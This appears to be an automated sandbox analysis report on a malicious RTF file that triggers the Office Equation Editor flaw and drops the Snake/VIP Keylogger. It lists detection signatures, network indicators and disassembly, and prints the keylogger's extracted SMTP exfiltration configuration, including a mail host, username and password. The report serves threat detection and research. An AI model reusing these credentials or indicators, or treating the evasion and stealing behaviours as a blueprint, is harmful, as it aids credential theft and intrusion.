Windows Analysis Report
Xkl0PnD8zFPjfh1.wiz.rtf

Overview

General Information

Sample name: Xkl0PnD8zFPjfh1.wiz.rtf
Analysis ID: 1558704
MD5: f6e89e6c3ab17d8d58699ccefeaf3c8d
SHA1: 86c245d0a2ef138aa7afca6bb43316e251b07c68
SHA256: 32f5bf26d32b42212ada3e88017ad037c6c84f760a64585252576d893a00ff5f
Tags: RTFuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Xkl0PnD8zFPjfh1.wiz.rtf Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Xkl0PnD8zFPjfh1[1].exe Avira: detection malicious, Label: HEUR/AGEN.1306879
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Avira: detection malicious, Label: HEUR/AGEN.1306879
Found malware configuration
Source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "logs5@covid19support.top", "Password": "7213575aceACE@@", "Host": "mail.covid19support.top", "Port": "587", "Version": "4.4"}
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "logs5@covid19support.top", "Password": "7213575aceACE@@", "Host": "mail.covid19support.top", "Port": "587"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Xkl0PnD8zFPjfh1[1].exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe ReversingLabs: Detection: 31%
Multi AV Scanner detection for submitted file
Source: Xkl0PnD8zFPjfh1.wiz.rtf ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Xkl0PnD8zFPjfh1[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 87.120.84.39 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_002469B8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00249743h 8_2_00249330
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024767Dh 8_2_00247490
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00248007h 8_2_00247490
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00249181h 8_2_00248EC4
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024EB89h 8_2_0024E8A8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_002471C9
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024F4B9h 8_2_0024F1D9
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024FDE9h 8_2_0024FB08
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024F021h 8_2_0024ED40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 0024F951h 8_2_0024F670
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00249743h 8_2_00249672
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_00246FEA
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C85AAh 8_2_005C82B0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C4321h 8_2_005C4050
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CE54Ah 8_2_005CE250
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C5A19h 8_2_005C5748
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CBA42h 8_2_005CB748
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C0311h 8_2_005C0040
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C7111h 8_2_005C6E40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C8F3Ah 8_2_005C8C40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C6349h 8_2_005C6078
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C8A72h 8_2_005C8778
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C0C41h 8_2_005C0970
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C7A41h 8_2_005C7770
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CF86Ah 8_2_005CF570
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C2339h 8_2_005C2068
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CCD62h 8_2_005CCA68
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C3A09h 8_2_005C3760
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CA25Ah 8_2_005C9F60
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C50E9h 8_2_005C4E18
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CEA12h 8_2_005CE718
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C67E2h 8_2_005C6510
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CBF0Ah 8_2_005CBC10
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C10D9h 8_2_005C0E08
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C7F7Ah 8_2_005C7C08
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C9402h 8_2_005C9108
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C27D1h 8_2_005C2500
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C1A09h 8_2_005C1738
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CFD32h 8_2_005CFA38
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C3101h 8_2_005C2E30
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CD22Ah 8_2_005CCF30
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CA722h 8_2_005CA428
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C07A9h 8_2_005C04D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C75A9h 8_2_005C72D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CC3D2h 8_2_005CC0D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C1EA1h 8_2_005C1BD0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C98CAh 8_2_005C95D0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C3599h 8_2_005C32C8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CDBBAh 8_2_005CD8C0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CD6F2h 8_2_005CD3F8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CABEAh 8_2_005CA8F0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C47B9h 8_2_005C44E8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C5EB1h 8_2_005C5BE0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CEEDAh 8_2_005CEBE0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C2C69h 8_2_005C2998
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C9D92h 8_2_005C9A98
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CE082h 8_2_005CDD88
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C4C51h 8_2_005C4980
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CB57Ah 8_2_005CB280
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C3E89h 8_2_005C3BB8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CB0B2h 8_2_005CADB8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C5581h 8_2_005C52B0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C6C79h 8_2_005C69A8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CF3A2h 8_2_005CF0A8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005C1571h 8_2_005C12A0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005CC89Ah 8_2_005CC5A0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E033Ah 8_2_005E0040
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E330Ah 8_2_005E3010
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E1B22h 8_2_005E1828
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E37D2h 8_2_005E34D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E1FEAh 8_2_005E1CF0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E1192h 8_2_005E0E98
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E297Ah 8_2_005E2680
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E2E42h 8_2_005E2B48
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E165Ah 8_2_005E1360
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E0802h 8_2_005E0508
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E0CCAh 8_2_005E09D0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E24B3h 8_2_005E21B8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 005E3C9Ah 8_2_005E39A0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A24D29h 8_2_00A24A80
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A28149h 8_2_00A27EA0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2F579h 8_2_00A2F2A8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A28E51h 8_2_00A28BA8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A29B59h 8_2_00A298B0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2D429h 8_2_00A2D180
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A25A31h 8_2_00A25788
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2E1C5h 8_2_00A2DE88
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A26739h 8_2_00A26490
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A27441h 8_2_00A27198
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A25E89h 8_2_00A25BE0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2E7B1h 8_2_00A2E4E0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A26B91h 8_2_00A268E8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A27899h 8_2_00A275F0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A285A1h 8_2_00A282F8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2B169h 8_2_00A2AEC0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A23771h 8_2_00A234C8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2BE71h 8_2_00A2BBC8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2CB7Bh 8_2_00A2C8D0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A24479h 8_2_00A241D0
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A25181h 8_2_00A24ED8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2D881h 8_2_00A2D5D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2C2C9h 8_2_00A2C020
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A23BC9h 8_2_00A23920
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2CFD1h 8_2_00A2CD28
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A248D1h 8_2_00A24628
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A255D9h 8_2_00A25330
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2DCD9h 8_2_00A2DA30
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A262E1h 8_2_00A26038
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A292A9h 8_2_00A29000
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2F0E1h 8_2_00A2EE10
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2B5C1h 8_2_00A2B318
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2AD11h 8_2_00A2AA68
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2BA19h 8_2_00A2B770
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A23319h 8_2_00A23070
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A24021h 8_2_00A23D78
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2C721h 8_2_00A2C478
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2EC49h 8_2_00A2E978
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A2FA11h 8_2_00A2F740
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A26FE9h 8_2_00A26D40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A27CF1h 8_2_00A27A48
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A289F9h 8_2_00A28750
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then jmp 00A29701h 8_2_00A29458
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00A529CE
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00A55F28
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00A55F38
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00A52B00
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 8_2_00A52A50
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
